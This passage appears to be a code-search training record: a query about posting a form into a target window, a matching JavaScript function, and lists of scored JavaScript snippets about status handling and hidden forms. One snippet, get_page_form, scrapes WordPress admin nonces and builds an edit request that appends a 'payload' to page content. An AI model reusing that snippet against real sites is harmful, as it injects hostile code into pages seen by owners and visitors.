mangoRepoLib.mangoRepo.getDescription(),\n mangoRepoLib.mangoRepo.issueCount(),\n mangoRepoLib.refs(),\n mangoRepoLib.snapshots()\n ])\n\n return {\n name,\n description,\n issueCount,\n mangoAddress: this._contractAddress,\n contractAddress: this._contractAddress,\n references,\n snapshots,\n contract: mangoRepoLib\n }\n }", "function StatusCode (status) {\n Object.defineProperty(this, 'status', {\n value: status\n , writable: false\n , enumerable: true\n });\n}", "function changeStatusTotalPage(page) {\n $listStatus = [];\n\n //get list status page\n for(i in page.contents) {\n $listStatus.push(page.contents[i].status);\n }\n\n //check and set statys for page\n if ($listStatus.indexOf('Not Started') > -1) {\n\n page.status = 'Not Started';\n\n } else if ($listStatus.indexOf('In Process') > -1) {\n\n page.status = 'In Process';\n\n } else if ($listStatus.indexOf('Approved') > -1) {\n\n page.status = 'Approved';\n\n } else if ($listStatus.indexOf('Overdue') > -1) {\n\n page.status = 'Overdue';\n\n } else {\n\n page.status = 'live';\n }\n //return page\n return page;\n }", "function getStatusHtml() { \n return `<div class='status_bar'>\n <span>Question ${getCurrentNum() + 1} / ${DATA_SOURCE.length}</span>\n <span>Score ${getRightCnt()}</span>\n </div>`;\n}", "function statusCheck() {\n var statusLog = document.querySelector(\".status\");\n var status = response.status;\n console.log(status);\n\n statusLog.innerHTML += status;\n }", "get status() {\n return privates.get(this).status;\n }", "get_status(explain) {\n\t\tif (this.df.get_status) {\n\t\t\treturn this.df.get_status(this);\n\t\t}\n\t\tif (this.df.is_virtual) {\n\t\t\treturn \"Read\";\n\t\t}\n\n\t\tif (\n\t\t\t(!this.doctype && !this.docname) ||\n\t\t\tthis.df.parenttype === \"Web Form\" ||\n\t\t\tthis.df.is_web_form\n\t\t) {\n\t\t\tlet status = \"Write\";\n\n\t\t\t// like in case of a dialog box\n\t\t\tif (cint(this.df.hidden)) {\n\t\t\t\tif (explain) console.log(\"By Hidden: None\");\n\t\t\t\treturn \"None\";\n\t\t\t} else if (cint(this.df.hidden_due_to_dependency)) {\n\t\t\t\tif (explain) console.log(\"By Hidden Dependency: None\");\n\t\t\t\treturn \"None\";\n\t\t\t} else if (\n\t\t\t\tcint(this.df.read_only || this.df.is_virtual || this.df.fieldtype === \"Read Only\")\n\t\t\t) {\n\t\t\t\tif (explain) console.log(\"By Read Only: Read\");\n\t\t\t\tstatus = \"Read\";\n\t\t\t} else if (\n\t\t\t\t(this.grid && this.grid.display_status == \"Read\") ||\n\t\t\t\t(this.layout && this.layout.grid && this.layout.grid.display_status == \"Read\")\n\t\t\t) {\n\t\t\t\t// parent grid is read\n\t\t\t\tif (explain) console.log(\"By Parent Grid Read-only: Read\");\n\t\t\t\tstatus = \"Read\";\n\t\t\t}\n\n\t\t\tlet value = this.value || this.get_model_value();\n\t\t\tvalue = this.get_parsed_value(value);\n\n\t\t\tif (\n\t\t\t\tstatus === \"Read\" &&\n\t\t\t\tis_null(value) &&\n\t\t\t\t!in_list([\"HTML\", \"Image\", \"Button\"], this.df.fieldtype)\n\t\t\t)\n\t\t\t\tstatus = \"Read\";\n\n\t\t\treturn status;\n\t\t}\n\n\t\tvar status = frappe.perm.get_field_display_status(\n\t\t\tthis.df,\n\t\t\tfrappe.model.get_doc(this.doctype, this.docname),\n\t\t\tthis.perm || (this.frm && this.frm.perm),\n\t\t\texplain\n\t\t);\n\n\t\t// Match parent grid controls read only status\n\t\tif (\n\t\t\tstatus === \"Write\" &&\n\t\t\t(this.grid || (this.layout && this.layout.grid && !cint(this.df.allow_on_submit)))\n\t\t) {\n\t\t\tvar grid = this.grid || this.layout.grid;\n\t\t\tif (grid.display_status == \"Read\") {\n\t\t\t\tstatus = \"Read\";\n\t\t\t\tif (explain) console.log(\"By Parent Grid Read-only: Read\");\n\t\t\t}\n\t\t}\n\n\t\tlet value = frappe.model.get_value(this.doctype, this.docname, this.df.fieldname);\n\n\t\tif (in_list([\"Date\", \"Datetime\"], this.df.fieldtype) && value) {\n\t\t\tvalue = frappe.datetime.str_to_user(value);\n\t\t}\n\n\t\tvalue = this.get_parsed_value(value);\n\n\t\t// hide if no value\n\t\tif (\n\t\t\tthis.doctype &&\n\t\t\tstatus === \"Read\" &&\n\t\t\t!this.only_input &&\n\t\t\tis_null(value) &&\n\t\t\t!in_list([\"HTML\", \"Image\", \"Button\", \"Geolocation\"], this.df.fieldtype)\n\t\t) {\n\t\t\tif (explain) console.log(\"By Hide Read-only, null fields: None\");\n\t\t\tstatus = \"None\";\n\t\t}\n\n\t\treturn status;\n\t}", "updateStatus(status) {\r\n switch (status) {\r\n case coqProto.SentenceStatus.Parsing:\r\n this.status = StateStatusFlags.Parsing;\r\n this.computeStart = process.hrtime();\r\n this.computeTimeMS = 0;\r\n break;\r\n case coqProto.SentenceStatus.AddedAxiom:\r\n this.status &= ~(StateStatusFlags.Processing | StateStatusFlags.Error);\r\n this.status |= StateStatusFlags.Unsafe;\r\n break;\r\n case coqProto.SentenceStatus.Processed:\r\n if (this.status & StateStatusFlags.Processing) {\r\n const duration = process.hrtime(this.computeStart);\r\n this.computeTimeMS = duration[0] * 1000.0 + (duration[1] / 1000000.0);\r\n this.status &= ~StateStatusFlags.Processing;\r\n }\r\n break;\r\n case coqProto.SentenceStatus.ProcessingInWorker:\r\n if (!(this.status & StateStatusFlags.Processing)) {\r\n this.computeStart = process.hrtime();\r\n this.status |= StateStatusFlags.Processing;\r\n }\r\n break;\r\n case coqProto.SentenceStatus.Incomplete:\r\n this.status |= StateStatusFlags.Incomplete;\r\n break;\r\n case coqProto.SentenceStatus.Complete:\r\n this.status &= ~StateStatusFlags.Incomplete;\r\n break;\r\n case coqProto.SentenceStatus.InProgress:\r\n break;\r\n }\r\n }", "constructor(id, author, title, pages, status) {\n this.id = id;\n this.autor = author;\n this.title = title;\n this.pages = pages;\n this.status = status;\n }", "createStatusText() {\n let status;\n if (this.stateHistory.currentState().isFinished()) status = \"Program beendet\"\n else status = \"Nächste Zeile: \" + this.stateHistory.currentState().nextCommandLine;\n return \"Status: \" + status;\n }", "function SearchTaskStatus() {\n \n /**\n * The taskId associated with the specified task.\n * @name SearchTaskStatus#taskId\n * @type string\n * @readonly\n * @throws {SuiteScriptError} READ_ONLY when setting the property is attempted\n */ \n this.prototype.taskId = undefined; \n /**\n * Represents the task status. Returns one of the task.TaskStatus enum values.\n * @name SearchTaskStatus#status\n * @type string\n * @readonly\n * @throws {SuiteScriptError} READ_ONLY when setting the property is attempted\n */ \n this.prototype.status = undefined; \n /**\n * Represents the fileId of exported file.\n * @name SearchTaskStatus#fileId\n * @type int\n * @readonly\n * @throws {SuiteScriptError} READ_ONLY when setting the property is attempted\n */ \n this.prototype.fileId = undefined; \n /**\n * Represents id of saved search being used for export.\n * @name SearchTaskStatus#savedSearchId\n * @type int\n * @readonly\n * @throws {SuiteScriptError} READ_ONLY when setting the property is attempted\n */ \n this.prototype.savedSearchId = undefined; \n /**\n * Returns the object type name (task.SearchTaskStatus).\n *\n * @returns {string}\n */ \n this.prototype.toString = function(options) {}; \n \n /**\n * JSON.stringify() implementation.\n *\n * @returns {Object}\n */ \n this.prototype.toJSON = function(options) {}; \n}", "setStatus(status) {\n this.status = status;\n }", "getStatus () {\n return {\n account: this.account,\n violations: this.violations\n }\n }", "function checkStatusDescription(record){\n if(record.SOFT_DEL === '0'){\n record.SOFT_DEL_DESC = 'Active';\n }else if(record.SOFT_DEL === '1'){\n record.SOFT_DEL_DESC = 'Inactive';\n }\n return record;\n}", "function getDocumentProgress(progressData) {\n\t\t\t// console.log(progressData.loaded / progressData.total);\n\t\t\t$('.creating-page').html('Loading PDF '+parseInt(100*progressData.loaded / progressData.total)+'% ')\n\t\t\t$('.creating-page').show()\n\t\t}", "statusTSDB() {\r\n return this.request('GET', 'status/tsdb');\r\n }", "function checkETLStatus(req, config, callback){\n var event = {\n 'stage-vars': {\n env: req['stage-vars']['env']\n },\n skip_sso: true,\n basic_auth: true,\n params: {\n querystring: {\n selection: \"RD998\",\n esb_path: \"RD300_NonSSO\"\n }\n }\n };\n ContentService.get(event, config, function(err, response, etl_status){\n if (err){\n console.log(\"err\", JSON.stringify(err));\n callback(err);\n } else {\n console.log(etl_status);\n var first_row = etl_status.rows[0];\n var last_update_time = first_row['LAST_UPDATE_TIME'];\n switch(first_row['BUILD_INDICATOR_DESCR']){\n case \"Complete\":\n callback(null, null, { \"success\":true, last_update_time:last_update_time, });\n break;\n default:\n callback(\"ETL Check status error:\" + JSON.stringify(etl_status));\n break;\n }\n }\n })\n}", "function statusAssignment() {\n const pubPri = req.body.status;\n\n if (pubPri === \"private\") {\n return pubPri;\n } else {\n let entryStatus = \"public\";\n return entryStatus;\n }\n }", "getStatus() {\n return this.status;\n }", "function create_status(status) {\n let elem = document.createElement('span');\n elem.classList.add(status.toLowerCase(), 'status-order');\n elem.textContent = status.toUpperCase();\n\n return elem;\n }", "get status() {\n return this.getStringAttribute('status');\n }", "get status() {\n return this.getStringAttribute('status');\n }", "get status() {\n return this.getStringAttribute('status');\n }", "get status() {\n return this.getStringAttribute('status');\n }", "get status() {\n return this.getStringAttribute('status');\n }", "get status() {\n return this.getStringAttribute('status');\n }", "get status() {\n return this.getStringAttribute('status');\n }", "get status() {\n return this.getStringAttribute('status');\n }", "getStatus(callback) {\n this._connection.query(`SELECT * FROM status`, callback);\n }", "function getDocusignEnvelopeStatus(envelopeID) {\n var res = callDocusignAPI('envelopes/' + envelopeID)\n\n if ('authUrl' in res) {\n return res\n }\n\n // if the envelope is complete, download to google drive and populate download link\n var downloadUrl = ''\n if (res.status == 'completed') {\n file = downloadDocusignEnvelopeAsPDF(envelopeID, envelopeID + \".pdf\")\n if (file) {\n downloadUrl = file.downloadUrl\n }\n }\n\n // strip out only the required subset of data to client, a bit more secure since remaining data stays on server side\n return {\n envelopeId: res.envelopeId,\n status: res.status,\n sentDateTime: res.sentDateTime,\n downloadUrl: downloadUrl,\n completedDateTime: res.completedDateTime\n }\n}", "constructor(status, code, description) {\n this.status = EventStatusType.success;\n this.status = status;\n this.code = code;\n this.description = description;\n return this;\n }", "function loadComplete() {\n if (++docsLoaded == 1) {\n setUpPageStatus = 'complete';\n }\n}", "function loadComplete() {\n if (++docsLoaded == 1) {\n setUpPageStatus = 'complete';\n }\n}", "function loadComplete() {\n if (++docsLoaded == 1) {\n setUpPageStatus = 'complete';\n }\n}", "function loadComplete() {\n if (++docsLoaded == 1) {\n setUpPageStatus = 'complete';\n }\n}", "function retStatus(success, info) {\n return {\n \"status\" : success\n , \"version\" : \"0.0.1\"\n , \"response\" : info\n };\n}", "getStatus() {\n\t\tif (this.inProgress()) {\n\t\t\treturn 'In Progress';\n\t\t}\n\t\treturn 'Completed';\n\t}", "function getStatusServer() {\r\n _doGet('/status');\r\n }", "async function updateTableStatus(res) {\n var tbody = $(\"#tbodyStatus\");\n tbody.empty();\n var trNode = document.createElement('tr'); //Crea la fila\n var tdStatusNode = document.createElement('td');\n tdStatusNode.textContent = res.status;\n trNode.append(tdStatusNode);\n var tdRunningNode = document.createElement('td');\n tdRunningNode.textContent = res.running;\n trNode.append(tdRunningNode);\n var tdPendingNode = document.createElement('td');\n tdPendingNode.textContent = res.pending;\n trNode.append(tdPendingNode);\n var tdFinishedNode = document.createElement('td');\n tdFinishedNode.textContent = res.finished;\n trNode.append(tdFinishedNode);\n var tdNodeNameNode = document.createElement('td');\n tdNodeNameNode.textContent = res.node_name;\n trNode.append(tdNodeNameNode);\n tbody.append(trNode);\n }", "function openEdocByStatus(affairId, state, contextPath, actionAfterClose) {\n if (state == '3') { // \\u5f85\\u529e\n openDetail_edoc('listPending', 'from=Pending&affairId=' + affairId\n + '&from=Pending', contextPath, actionAfterClose);\n } else if ((state == '4')) { // \\u5df2\\u529e\n openDetail_edoc('', 'from=Done&affairId=' + affairId, contextPath,\n actionAfterClose);\n } else {\n\n }\n\n}" ]
[ "0.602054", "0.5580153", "0.5555047", "0.55317014", "0.54659647", "0.5401281", "0.5367163", "0.5358419", "0.5309556", "0.52926946", "0.52692956", "0.52692956", "0.52692956", "0.52692956", "0.52692956", "0.52692956", "0.52692956", "0.52692956", "0.52692956", "0.52661324", "0.5265336", "0.5265336", "0.5265336", "0.5265336", "0.526436", "0.52191925", "0.52191925", "0.52191925", "0.52191925", "0.52191925", "0.52191925", "0.52191925", "0.52191925", "0.52191925", "0.52191925", "0.52191925", "0.52191925", "0.52111334", "0.5207242", "0.5190946", "0.5153056", "0.51470983", "0.51470983", "0.5099514", "0.50863516", "0.5082305", "0.50510806", "0.50432616", "0.5013912", "0.50114554", "0.5001765", "0.4997749", "0.49594146", "0.49332064", "0.49301535", "0.4922477", "0.48722127", "0.48641527", "0.48609632", "0.48523334", "0.4849945", "0.4849476", "0.48410332", "0.4811572", "0.47995424", "0.4787939", "0.4786091", "0.4784123", "0.47830325", "0.47799158", "0.47764152", "0.476682", "0.47617844", "0.47429603", "0.472893", "0.47265652", "0.471833", "0.4703103", "0.4692917", "0.46924987", "0.4690698", "0.4690668", "0.4690668", "0.4690668", "0.4690668", "0.4690668", "0.4690668", "0.4690668", "0.4690668", "0.46852082", "0.46780568", "0.46767583", "0.46739593", "0.46739593", "0.46739593", "0.46739593", "0.46644917", "0.4655385", "0.4654218", "0.4651227", "0.46482295" ]
0.0
-1
OTHER METHODS Use the specified form to put the specified page in the form's target window. The name and value passed in will be stored in the hidden input field with an ID equal to the formID followed by "_hidden".
function ErdbMiniFormJump(formID, pageURL, parmName, parmValue, tabID, tabIndex) { // Select the documentation tab. tab_view_select(tabID, tabIndex); // Get the form and fill in the target URL. var myForm = document.getElementById(formID); myForm.action = pageURL; // Update the variable parm. var myHidden = document.getElementById(formID + "_hidden"); myHidden.name = parmName; myHidden.value = parmValue; // Submit the form. myForm.submit(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function post_value(value, id, field) {\r\n opener.document.getElementById(field).innerHTML = value;\r\n opener.document.getElementById(field + \"_hidden\").value = id;\r\n self.close();\r\n}", "function StoreParm(myName, myValue, formID) {\n // Find the form.\n var myForm = document.getElementById(formID);\n // Find the field.\n var myElement = myForm.elements[myName];\n // Store the value.\n myElement.value = myValue;\n}", "function OpenWindowWithPost(url, windowoption, name, params)\r\n{\r\n var form = document.createElement(\"form\");\r\n form.setAttribute(\"method\", \"post\");\r\n form.setAttribute(\"action\", url);\r\n form.setAttribute(\"target\", name);\r\n\r\n for (var i in params) {\r\n if (params.hasOwnProperty(i)) {\r\n var input = document.createElement('input');\r\n input.type = 'hidden';\r\n input.name = i;\r\n input.value = params[i];\r\n form.appendChild(input);\r\n }\r\n }\r\n \r\n document.body.appendChild(form);\r\n \r\n window.open(url, name, windowoption);\r\n form.target =name;\r\n form.submit();\r\n \r\n document.body.removeChild(form);\r\n }", "function add_to_form( formId, name, data ) {\n\n $('<input />').attr('type', 'hidden')\n .attr('name', name)\n .attr('value', data)\n .appendTo( formId );\n\n}", "function submitForm(form, dontChangeTarget)\n{\n var oldtarget;\n var newtarget;\n\n //allow the Override\n if ( !dontChangeTarget )\n {\n // Here's a safeguard for forgetting to put a target in the FORM\n if ( (getReuseBrowserWindowMode() == 0) || !form.attributes[\"target\"].nodeValue || (form.attributes[\"target\"].nodeValue && form.attributes[\"target\"].nodeValue == '') )\n {\n form.attributes[\"target\"].nodeValue = '_blank';\n }\n\n // Reuse a single window if the user wants to and the target is _blank\n // Don't override targets with any other name because some searches may want\n // their own window.\n\n oldtarget = form.attributes[\"target\"].nodeValue;\n newtarget = oldtarget;\n\n if ((getReuseBrowserWindowMode() > 0) && oldtarget && (oldtarget == '_blank'))\n {\n // 1=same window always; 2=new window for each search type\n newtarget = ((getReuseBrowserWindowMode() == 1) ? DQSD_BROWSER_WINDOW_NAME : (DQSD_BROWSER_WINDOW_NAME + '_' + form.name));\n }\n else\n {\n newtarget = DQSD_BROWSER_WINDOW_NAME + \"_\" + submitcount;\n submitcount = submitcount + 1;\n }\n form.attributes[\"target\"].nodeValue = newtarget;\n }\n\n if (useExternalBrowser && DQSDLauncher)\n {\n try\n {\n DQSDLauncher.SubmitForm(form);\n }\n catch(e)\n {\n // E_FAIL is expected when Mozilla 0.9.x is \n // configured as the default browser. There's a bug in \n // the Mozilla code that causes it to return an error return code\n if(e.number != E_FAIL)\n {\n // Re-throw all other errors\n throw e;\n }\n }\n }\n else\n {\n if (newtarget && pagetemplate)\n {\n var w = null;\n if (typeof windowOpenFeatures != \"undefined\") {\n w = window.open(pagetemplate, newtarget, windowOpenFeatures);\n } else {\n w = window.open(pagetemplate, newtarget);\n }\n w.history.back(1);\n }\n if (typeof form.onsubmit == \"function\") {\n form.fireEvent(\"onsubmit\");\n } else {\n form.submit();\n }\n }\n\n if (oldtarget)\n form.attributes[\"target\"].nodeValue = oldtarget;\n}", "function submitFormWithTarget() {\n\tvar args\t\t= submitFormWithTarget.arguments;\n\tvar argLength\t= args.length;\n\tvar form\t\t= null;\n\tvar target\t\t= '_self';\n\tif (argLength > 0) {\n\t\tform = args[0];\n\t\tif (argLength > 1) {\n\t\t\ttarget = args[1];\n\t\t\tform.target = target;\n\t\t}\n\n\t\t// skipping first two argument since it is form object and target\n\t\tfor (var i=2; i<argLength; i+=2) {\n\n\t\t\t// form_field.value = <value>\n\t\t\targs[i].value = args[i+1];\n\t\t}\n\t\tform.submit();\n\t}\n}", "function setForm(paramFormName)\n{\n\tformName = 'document.' + paramFormName + \".\";\n\tformNamePassed = paramFormName;\n}", "function movePage(urlPath){\n\tvar form = document.createElement(\"form\");\n\t\n $(form).attr(\"action\", urlPath)\n .attr(\"method\", \"post\");\n \n $(form).html('<input type=\"hidden\" name=\"btg\" value=\"' + btg + '\" />' +\n '<input type=\"hidden\" name=\"loc\" value=\"' + loc + '\" />' +\n '<input type=\"hidden\" name=\"device\" value=\"' + device + '\" />' +\n '<input type=\"hidden\" name=\"sample\" value=\"' + isSample + '\" />');\n \n /* If you want to add element, Use below code */\n// var element1 = document.createElement(\"INPUT\"); \n// element1.name=\"un\"\n// element1.value = un;\n// element1.type = 'hidden'\n// form.appendChild(element1);\n \n// var element2 = document.createElement(\"INPUT\"); \n// element2.name=\"pw\"\n// element2.value = pw;\n// element2.type = 'hidden'\n// form.appendChild(element2);\n \t\n\tdocument.body.appendChild(form);\n\t$(form).submit();\n\tdocument.body.removeChild(form);\n}", "function submitForm(page, destination, formName) {\r\n var formVar = dijit.byId(formName);\r\n if (!formVar) {\r\n showError(i18n(\"errorSubmitForm\", new Array(page, destination, formName)));\r\n return;\r\n }\r\n // validate form Data\r\n if (formVar.validate()) {\r\n formLock();\r\n // form is valid, continue and submit it\r\n var isResultDiv = true;\r\n if (formName == 'passwordForm') {\r\n isResultDiv = false;\r\n }\r\n loadContent(page, destination, formName, isResultDiv);\r\n } else {\r\n showAlert(i18n(\"alertInvalidForm\"));\r\n }\r\n}", "function OpenPostWindow(n,t,i,r,u){var e=document.createElement(\"form\"),f,o,s,h;if(e.id=\"tempForm1\",e.method=\"post\",e.target=\"newPage\",e.action=n,t)if(typeof t==\"string\")f=document.createElement(\"input\"),f.type=\"hidden\",f.name=\"data\",f.value=t,e.appendChild(f);else if(t instanceof Array)for(o=0;o<t.length;o++)f=document.createElement(\"input\"),f.type=\"hidden\",f.name=\"data\"+o,f.value=t[o],e.appendChild(f);else if(t instanceof Object)for(s in t)f=document.createElement(\"input\"),f.type=\"hidden\",f.name=s,f.value=t[s],e.appendChild(f);h=$(e);h.submit(function(){if(i){r=r||\"对话框\";u||(u={});var t=u.width||720,f=u.height||720,e=(window.screen.availHeight-30-f)/2,o=(window.screen.availWidth-10-t)/2,n=window.open(\"about:blank\",\"newPage\",\"height=\"+f+\"px, width=\"+t+\"px, top=\"+e+\", left=\"+o+\", toolbar=no, menubar=no, scrollbars=yes, location=no, status=yes\");n.focus()}else n=window.open(\"about:blank\"),n.focus()});document.body.appendChild(e);h.trigger(\"submit\");document.body.removeChild(e)}", "function bottomRecordNavSetPage(form){\r\n\tform.page.value = form.bottomRecordNav.value;\r\n}", "function updateFormTarget(strtarget)\n{\n document.main_form.target = strtarget;\n}", "function submitFormToWindow(oForm, oWindow)\r\n{\r\n\r\n\tvar sOldTarget = oForm.target\r\n\tvar sWindowName = oWindow.name;\r\n\t\r\n\toForm.target = sWindowName;\r\n\toForm.submit();\r\n\t\r\n\t// for some stupid reason NS seems to re-set the target before \r\n\t// the form's even submitted, so we need some sort of pause\r\n\tfor (var i=0; i<1000; i++)\r\n\t\t;\r\n\t\r\n\toForm.target = sOldTarget;\r\n\t\r\n\treturn;\r\n}", "function doForeignSubmit(wndHndl)\n{\n\tdocument.pagexform.submit();\n\twndHndl.close();\n}", "function SetEventTarget(value, formID)\n{\n var frm;\n\tvar eventTarget = document.getElementById('__EVENTTARGET');\n\t\n\tif(!formID)\n\t frm = document.getElementsByTagName('Form')[0];\n\telse\n\t frm = document.getElementById(formID);\n\t\n\tif(eventTarget)\n\t\teventTarget.parentNode.removeChild(eventTarget);\n\n\tvar fakeSubmit = document.createElement('input');\n\tfakeSubmit.name = '__EVENTTARGET';\n\tfakeSubmit.type = 'hidden';\n\tfakeSubmit.value = value;\n\tfrm.appendChild(fakeSubmit);\n\t\n\treturn frm;\n}", "function submitForm() {\n\tvar args\t\t= submitForm.arguments;\n\tvar argLength\t= args.length;\n\tif (argLength > 0) {\n\t\tvar form = args[0];\n\n\t\t// skipping first argument since it is form object\n\t\tfor (var i=1; i<argLength; i+=2) {\n\n\t\t\t// hidden_field.value = <value>\n\t\t\targs[i].value = args[i+1];\n\t\t}\n\t\tform.submit();\n\t}\n}", "function createHiddenInput(form, name, value) {\n var input = document.createElement('input');\n input.type = 'hidden';\n input.name = name;\n input.value = value;\n form.appendChild(input);\n}", "function saveAndExit() {\r\n\tvar form = document.getElementById( \"hiddenfieldform\" );\r\n\thidden.value = experior.getText(form);\r\n}", "function postNewWindow(url, data) {\n var form_id = 'hiddenform-' + unique_id();\n\n // wordpress login\n var $form = $('<form id=\"' + form_id + '\" method=\"POST\" action=\"' + url + '\" target=\"_blank\">');\n for (var n in data) {\n if (!data.hasOwnProperty(n))\n continue;\n\n var v = data[n];\n $form.append('<input type=\"hidden\" name=\"' + n + '\" value=\"' + v + '\">');\n }\n $form.appendTo('body');\n\n // window.open('', '_blank');\n $form.submit();\n\n setTimeout($form.remove, 10000);\n}", "function showForm()\n{\n document.distForm.submit();\n} // showForm", "function goToForm() {\n history.push('/form');\n }", "function showForm()\n{\n document.distForm.submit();\n} // function showForm", "function submit_form(strFormID)\r\n{\r\n\tvar oForm = document.getElementById(strFormID);\r\n\tif(oForm!=null)\r\n\t{\r\n\t\tvar strURL = get_form_url(oForm);\r\n\t\tif(strURL!=false)load_content(strURL);\r\n\t}\r\n}", "function appendHiddenInputToForm(name,val) {\r\n\t$('form#form').append('<input type=\"hidden\" value=\"'+val+'\" name=\"'+name+'\">');\r\n}", "function OpenWindowWithPost(html) {\n var form = document.createElement(\"form\");\n form.setAttribute(\"method\", \"post\");\n form.setAttribute(\"action\", \"preview.php\");\n form.setAttribute(\"target\", \"Preview\");\n\n var input = document.createElement('input');\n input.type = 'hidden';\n input.name = \"preview\";\n input.value = html;\n form.appendChild(input);\n\n document.body.appendChild(form);\n window.open(\"preview.php\", \"Preview\");\n form.submit();\n document.body.removeChild(form);\n}", "function get_page_form(html)\n{\n\twpnonce = reg_wpnonce.exec(html)[1];\n\twp_http_referer = html_decode(reg_wp_http_referer.exec(html)[1]);\n\tsamplepermnonce = reg_sampleperm.exec(html)[1];\n\ttitle = reg_title.exec(html)[1];\n\tuser_ID = reg_user_ID.exec(html)[1];\n\tpost_author = reg_post_author.exec(html)[1];\n\tpost_ID = reg_post_ID.exec(html)[1];\n\tmeta_box_nonce = reg_meta_box_nonce.exec(html)[1];\n\tclosedboxnonce = reg_closedboxnonce.exec(html)[1];\n\tcontent = html_decode(reg_content.exec(html)[1]) + payload;\n\tajax_addmeta_nonce = reg_ajax_addmeta.exec(html)[1];\n\taddcom_nonce = reg_addcom_nonce.exec(html)[1];\n\tajax_fl_nonce = reg_ajax_fl_nonce.exec(html)[1];\n\tmm = reg_mm.exec(html)[1];\n\tjj = reg_jj.exec(html)[1];\n\taa = reg_aa.exec(html)[1];\n\thh = reg_hh.exec(html)[1];\n\tmn = reg_mn.exec(html)[1];\n\tpost_str = \"_wpnonce=\" + wpnonce + \"&_wp_http_referer=\" + wp_http_referer + \"&user_ID=\" + user_ID + \"&action=editpost&originalaction=editpost\" + \"&post_author=\" + post_author + \"&post_type=page\" + \"&original_post_status=publish\" + \"&referedby=\" + encodeURIComponent(\"http://\"+site+\"/wp-admin/edit.php\") + \"&_wp_original_http_referer=\" + encodeURIComponent(\"http://\"+site+\"/wp-admin/edit.php\") + \"&post_ID=\" + post_ID + \"&meta-box-order-nonce=\" + meta_box_nonce + \"&closedpostboxesnonce=\" + closedboxnonce + \"&post_title=\"+ escape(title) + \"&samplepermalinknonce=\" + samplepermnonce + \"&content=\" + escape(content) + \"&wp- preview=&hidden_post_status=publish&post_status=publish&hidden_post_password=&hidden_post_visibility=public&visibility=public&post_password=\"+ \"&mm=\" + mm + \"&jj=\" + jj + \"&aa=\" + aa + \"&hh=\" + hh + \"&mn=\" + mn + \"&ss=\" + ss + \"hidden_&mm=\" + mm + \"&hidden_jj=\" + jj + \"&hidden_aa=\" + aa + \"&hidden_hh=\" + hh + \"&hidden_mn=\" + mn + \"&cur_mm=\" + mm + \"&cur_jj=\" + jj + \"&cur_aa=\" + aa + \"&cur_hh=\" + hh + \"&cur_mn=\" + mn+1 + \"&original_publish=Update&save=Update&newcategory=\" + escape(\"New Category Name\") + \"&newcategory_parent=-1\" + \"&tax_input[post_tag]=&newtag[post_tag]=&excerpt=&trackback_url=&metakeyinput=&metavalue=&advanced_view=&comment_status=open&ping_status=open\";\n\treturn post_str;\n}", "function assignClientWindowId(form, targetContext) {\n let clientWindow = (0, Const_1.$faces)().getClientWindow(form.getAsElem(0).value);\n if (clientWindow) {\n targetContext.assign(Const_1.CTX_PARAM_REQ_PASS_THR, Const_1.P_CLIENT_WINDOW).value = clientWindow;\n }\n }", "function clearFormHiddenParams_workItemForwardPanelForm(curFormName) {\n var curForm = document.forms[curFormName];\n}", "appendFormInput(form, name, value) {\n const input = document.createElement('input');\n input.type = 'hidden';\n input.name = name;\n input.value = value;\n form.appendChild(input);\n }", "function htmldb_ExternalPost(pThis,pRegion,pPostUrl){\n var pURL = 'f?p='+$x('pFlowId').value+':'+$x('pFlowStepId').value+':'+$x('pInstance').value+':FLOW_FOP_OUTPUT_R'+pRegion;\n document.body.innerHTML = document.body.innerHTML + '<div style=\"display:none;\" id=\"dbaseSecondForm\"><form id=\"xmlFormPost\" action=\"' + pPostUrl + '?ie=.pdf\" method=\"post\" target=\"pdf\"><textarea name=\"vXML\" id=\"vXML\" style=\"width:500px;height:500px;\"></textarea></form></div>';\n var l_El = $x('vXML');\n var get = new htmldb_Get(l_El,null,null,null,null,'f',pURL.substring(2));\n get.get();\n get = null;\n setTimeout( function() {\n $x(\"xmlFormPost\").submit();\n },10 );\n return;\n}", "function create_form_element(oForm, elementName, elementValue)\r\n{\r\n\tvar newElement = insertBeforeEnd(oForm,\"<input name='\" + elementName + \"' type='hidden' value='\" + elementValue + \"'>\");\r\n\treturn newElement;\r\n}", "function jumpPage(passForm) {\n \n var id = null;\n var siteUrl = null;\n\n siteId = passForm.options[passForm.selectedIndex].value;\n \n if (siteId != \"\") {\n for(i=0; i<newSitesArray.length; i++) {\n var obj = new Object();\n obj = newSitesArray[i];\n id = obj.id;\n siteUrl = obj.url;\n if (id == siteId) {\n break;\n }\n }\n }\n if (siteUrl.indexOf(\"http\") == -1) {\n siteUrl = \"http://content.accessmcd.com\" + siteUrl;\n }\n window.open(siteUrl,'MySites','location=yes,menubar=yes,toolbar=yes,scrollbars=yes,status=yes,width=800,height=600');\n}", "function getOrderStaffDetails() {\r\n//\tparent.document.searchResultsForm.loadPage.value = \"orderDetailPage\";\r\n\tparent.document.searchResultsForm.loadPage.value = \"orderStaffDetailPage\";\r\n\tparent.document.searchResultsForm.facilityId.value = facilityIdVal;\r\n\tparent.document.searchResultsForm.spectraMRN.value = spectraMRNVal;\r\n\tparent.document.searchResultsForm.processorName.value = 'OrderStaffProcessor';\r\n\tparent.document.searchResultsForm.processorAction.value = 'getOrderSum'; \r\n\tparent.document.searchResultsForm.submit();\r\n}", "function showForm(ev)\n{\n document.distForm.submit();\n} // function showForm", "function fixSubmit() {\n if (top.name == \"testWindow\") {\n document.results.submit();\n\t\n }\n}", "function setContact(email) {\n window.document.theform.destiny.value = email;\n }", "function goToDesEditPage() {\n $('#dest_name').val(window.deliveryRecord.item.object.location_name);\n $('#dest_number').val(window.deliveryRecord.item.object.location_number);\n $('#dest_address').val(window.deliveryRecord.item.object.address);\n $('#dest_city').val(window.deliveryRecord.item.object.city);\n $('#dest_state').val(window.deliveryRecord.item.object.state);\n $('#dest_zip').val(window.deliveryRecord.item.object.zip);\n $('#dest_contact').val(window.deliveryRecord.item.object.contact);\n $('#dest_phone').val(window.deliveryRecord.item.object.phone);\n $('#dest_email').val(window.deliveryRecord.item.object.email);\n $('#dest_cell').val(window.deliveryRecord.item.object.cell);\n $('textarea#dest_notes').val(window.deliveryRecord.item.object.location_notes);\n $('#dest_id').val(window.deliveryRecord.item.object.id);\n }", "function addHidden(form, key, value) {\n var input = document.createElement('input');\n input.type = 'hidden';\n input.name = key;\n input.value = value;\n form.append(input);\n}", "function setHiddenValues(form) {\n\tvar invisibleForm = document.getElementById('limit_select');\n\tvar form = event.target.form;\n\tinvisibleForm.limit.value = 